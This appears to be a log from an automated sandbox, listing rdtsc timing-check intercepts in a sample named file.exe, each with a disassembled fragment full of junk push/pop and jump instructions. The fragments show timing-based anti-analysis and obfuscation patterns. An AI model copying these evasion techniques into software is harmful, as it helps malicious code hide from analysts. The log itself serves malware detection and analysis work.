Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9307C second address: F930B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007FD0FCEAC569h 0x0000000e je 00007FD0FCEAC556h 0x00000014 jno 00007FD0FCEAC556h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d push edi 0x0000001e push edx 0x0000001f pop edx 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F930B7 second address: F930BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F930BD second address: F930C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98221 second address: F98228 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9FD4A second address: F9FD6B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD0FCEAC558h 0x00000008 pushad 0x00000009 jmp 00007FD0FCEAC55Dh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push esi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9FD6B second address: F9FD71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9FD71 second address: F9FD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FCEAC569h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9FD92 second address: F9FD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD0FD11A2C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E465 second address: F9E48B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FCEAC569h 0x00000009 popad 0x0000000a pop ebx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E7A5 second address: F9E7A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E7A9 second address: F9E7AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E7AD second address: F9E7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FD0FD11A2DCh 0x00000011 jmp 00007FD0FD11A2D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E7D4 second address: F9E7EC instructions: 0x00000000 rdtsc 0x00000002 je 00007FD0FCEAC562h 0x00000008 jmp 00007FD0FCEAC55Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E7EC second address: F9E7F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9FB8A second address: F9FB8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA300B second address: FA3011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3011 second address: FA301A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA5EE second address: FAA60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD0FD11A2E0h 0x0000000a jmp 00007FD0FD11A2D4h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9FFE second address: FAA02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jg 00007FD0FCEAC558h 0x0000000b jmp 00007FD0FCEAC569h 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA02B second address: FAA031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA16B second address: FAA18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FCEAC564h 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FD0FCEAC556h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA18D second address: FAA1B1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FD0FD11A2D6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FD0FD11A2C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA1B1 second address: FAA1B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABC07 second address: FABC0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB6750 second address: FB6754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB6754 second address: FB6778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007FD0FD11A2D8h 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBEA90 second address: FBEA97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBEA97 second address: FBEAB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D6h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC35FF second address: FC3605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3605 second address: FC361B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FD11A2D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC361B second address: FC3621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3621 second address: FC362B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD0FD11A2C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC1E5 second address: FCC1EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC1EB second address: FCC213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 je 00007FD0FD11A2EDh 0x0000000d jmp 00007FD0FD11A2D7h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC213 second address: FCC217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF1C8 second address: FCF1E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF1E1 second address: FCF1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF1ED second address: FCF1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF1F4 second address: FCF222 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC565h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD0FCEAC565h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD51B9 second address: FD51BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD51BF second address: FD51D1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007FD0FCEAC556h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD51D1 second address: FD51D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD51D5 second address: FD51EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD0FCEAC556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jng 00007FD0FCEAC556h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD51EE second address: FD5214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD0FD11A2C6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push edx 0x0000000e jmp 00007FD0FD11A2D5h 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5214 second address: FD521A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9085 second address: FD908E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD908E second address: FD9094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE483B second address: FE483F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEAB4C second address: FEAB7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FD0FCEAC558h 0x0000000c push eax 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007FD0FCEAC567h 0x00000016 pop ebx 0x00000017 push eax 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6BF2 second address: FE6C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FD11A2D7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6C0E second address: FE6C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD0FCEAC556h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BB04 second address: 100BB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10159E3 second address: 10159E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10159E7 second address: 10159F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015E74 second address: 1015E7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017785 second address: 10177AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FD0FD11A2C6h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FD0FD11A2D8h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10177AD second address: 10177B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD0FCEAC556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10192DC second address: 10192E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10192E1 second address: 10192E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B032D second address: 52B0331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0331 second address: 52B0337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0337 second address: 52B036A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 528E8DE1h 0x00000008 jmp 00007FD0FD11A2CEh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD0FD11A2D7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B036A second address: 52B0370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0370 second address: 52B0374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0374 second address: 52B03A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FD0FCEAC55Ch 0x00000010 or cx, 6008h 0x00000015 jmp 00007FD0FCEAC55Bh 0x0000001a popfd 0x0000001b mov dx, ax 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 pushad 0x00000021 push ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03A5 second address: 52B03BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov ecx, 584B1749h 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD0FD11A2CBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03BF second address: 52B03EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC569h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD0FCEAC55Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B049F second address: 52B04A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B04A5 second address: 52B04DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD0FCEAC55Ch 0x00000013 sbb ah, 00000038h 0x00000016 jmp 00007FD0FCEAC55Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f pop edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B04DA second address: 52B0577 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 19A23D81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007FD0FD11A2D7h 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FD0FD11A2D4h 0x00000018 or si, 92F8h 0x0000001d jmp 00007FD0FD11A2CBh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FD0FD11A2D8h 0x00000029 add eax, 0D6BED58h 0x0000002f jmp 00007FD0FD11A2CBh 0x00000034 popfd 0x00000035 popad 0x00000036 mov ebp, esp 0x00000038 pushad 0x00000039 pushad 0x0000003a mov esi, 46560621h 0x0000003f push esi 0x00000040 pop ebx 0x00000041 popad 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 pushad 0x00000046 popad 0x00000047 popad 0x00000048 popad 0x00000049 pop ebp 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007FD0FD11A2D1h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B05AC second address: 52B05C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC564h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B05C4 second address: 52B05CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B05CA second address: 52B05CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B05CE second address: 52B0635 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 5E0F3BE1h 0x0000000f jmp 00007FD0FD11A2D9h 0x00000014 call 00007FD16EDFDCC2h 0x00000019 push 76F927D0h 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov eax, dword ptr [esp+10h] 0x00000029 mov dword ptr [esp+10h], ebp 0x0000002d lea ebp, dword ptr [esp+10h] 0x00000031 sub esp, eax 0x00000033 push ebx 0x00000034 push esi 0x00000035 push edi 0x00000036 mov eax, dword ptr [77020140h] 0x0000003b xor dword ptr [ebp-04h], eax 0x0000003e xor eax, ebp 0x00000040 push eax 0x00000041 mov dword ptr [ebp-18h], esp 0x00000044 push dword ptr [ebp-08h] 0x00000047 mov eax, dword ptr [ebp-04h] 0x0000004a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000051 mov dword ptr [ebp-08h], eax 0x00000054 lea eax, dword ptr [ebp-10h] 0x00000057 mov dword ptr fs:[00000000h], eax 0x0000005d ret 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 pushfd 0x00000062 jmp 00007FD0FD11A2D3h 0x00000067 add ch, 0000004Eh 0x0000006a jmp 00007FD0FD11A2D9h 0x0000006f popfd 0x00000070 mov esi, 3F072A57h 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0635 second address: 52B063B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B063B second address: 52B063F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B063F second address: 52B065C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD0FCEAC55Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B065C second address: 52B0662 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0662 second address: 52B06C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD0FCEAC55Ah 0x00000009 sub cx, 7D28h 0x0000000e jmp 00007FD0FCEAC55Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FD0FCEAC568h 0x0000001a or esi, 78D7AF88h 0x00000020 jmp 00007FD0FCEAC55Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov edx, dword ptr [ebp+0Ch] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FD0FCEAC565h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B06C9 second address: 52B06D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0FD11A2CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B06D9 second address: 52B0717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD0FCEAC55Fh 0x00000013 or eax, 4D8C51DEh 0x00000019 jmp 00007FD0FCEAC569h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0717 second address: 52B071D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B071D second address: 52B072F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edx] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, 5C33h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B072F second address: 52B072F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD0FD11A2CFh 0x00000009 sbb eax, 48560C9Eh 0x0000000f jmp 00007FD0FD11A2D9h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop edi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a inc edx 0x0000001b jmp 00007FD0FD11A2CAh 0x00000020 test al, al 0x00000022 pushad 0x00000023 push ecx 0x00000024 pushfd 0x00000025 jmp 00007FD0FD11A2CDh 0x0000002a xor ah, FFFFFF86h 0x0000002d jmp 00007FD0FD11A2D1h 0x00000032 popfd 0x00000033 pop ecx 0x00000034 popad 0x00000035 jne 00007FD0FD11A24Ah 0x0000003b mov al, byte ptr [edx] 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 mov cx, 5C33h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0802 second address: 52B0808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0808 second address: 52B080C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
